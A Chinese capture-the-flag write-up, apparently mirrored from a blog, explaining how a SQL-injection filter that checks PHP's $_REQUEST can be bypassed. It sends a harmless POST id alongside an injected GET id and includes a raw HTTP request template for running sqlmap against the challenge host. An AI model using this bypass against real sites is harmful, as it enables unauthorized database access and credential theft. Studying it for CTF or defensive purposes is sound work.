zoukankan      html  css  js  c++  java
  • php $_REQUEST写法防注入突破

    扫描器扫到robots.txt ,访问:http://xxx.com/robots.txt

    有一个admin,但访问需要输入账号和密码。

    尝试访问: http://xxx.com/index.phps 。得到源代码如下:

    <?php
    require_once 'lib.php';
    header('X-XSS-Protection: 0');
    $cols = array(
        "e8c4-437b-9476",
        "849e-416e-acf7",
        "7f9d-470f-8698",
        "c8bb-4695-93f7",
        "5fbc-4729-8821",
        "3ad3-46c3-b975",
        "f44f-4cc9-a5e0",
        "0c3f-42c8-a0ae"
        );
    if(isset($_REQUEST['id'])){
        if(preg_match("/'(?:w*)W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
            die("Attack detected!!!");
        }
        $ad = get_ad($_GET['id']);
        ?>
        <HTML>
        <HEAD>
            <TITLE>NAUGHTY ADS ©1994</TITLE>
        </HEAD>
        <BODY BGCOLOR="WHITE">
            <CENTER>
            <?php echo $ad['description'] ?><br />
            <a href="/">Home</a>
            </CENTER>
        </BODY>
        </HTML>
        <?php
        die;
    }
    ?>
    

      

    对于 REQUEST[id]REQUEST[‘id′],进行了“严格”的正则匹配,不能正常的注出数据。接下来通过_GET[‘id’] 将其带入数据库中查询并返回结果给页面。

    这里考察了一个知识。$_REQUEST变量默认情况下包含了 GETGET,_POST 和 $_COOKIE 的数组。在 php.ini 配置文件中,有一个参数variables_order


    其中几个字母(EGPCS)对应如下: Environment, Get, Post, Cookie, Server。这些字母的出现顺序,表明了数据的加载顺序。从三种默认配置来看,相对顺序均是GP,也就是说只要有POST参数进来,那么它就会覆盖同名的GET参数。如下图;

     

    所以就本题而言,如果在GET参数id处注入数据(比如 union select),而同时我们又通过POST方法传入一个id参数,那么服务器检测的是无害的POST数据,而在进行查询时带入的是有害的GET数据。

    将如下数据包保存为test.txt,用sqlmap跑:

    POST /?id=* HTTP/1.1
    Host: naughtyads.alieni.se
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 18
    id= 0c3f-42c8-a0ae
    

      

    得到账号密码,登陆 http://xxxx.com/admin/ 在Phone number处填上555-31338,提交后得到flag:

  • 相关阅读:
    原生js实现基本选择器
    javascript数组
    web中关于隐藏与显示
    CSS3 box-shadow(阴影使用)
    java中文件的I/O操作
    组件RecyclerView的应用(一)
    Android客户端与Eclipse服务器端的Socket通信
    C语言关于利用sscanf实现字符串相加减
    TabLayout和ViewPager简单实现页卡的滑动
    DrawerLayout的openDrawer()和closeDrawer()方法
  • 原文地址:https://www.cnblogs.com/qing123/p/7633251.html
Copyright © 2011-2022 走看看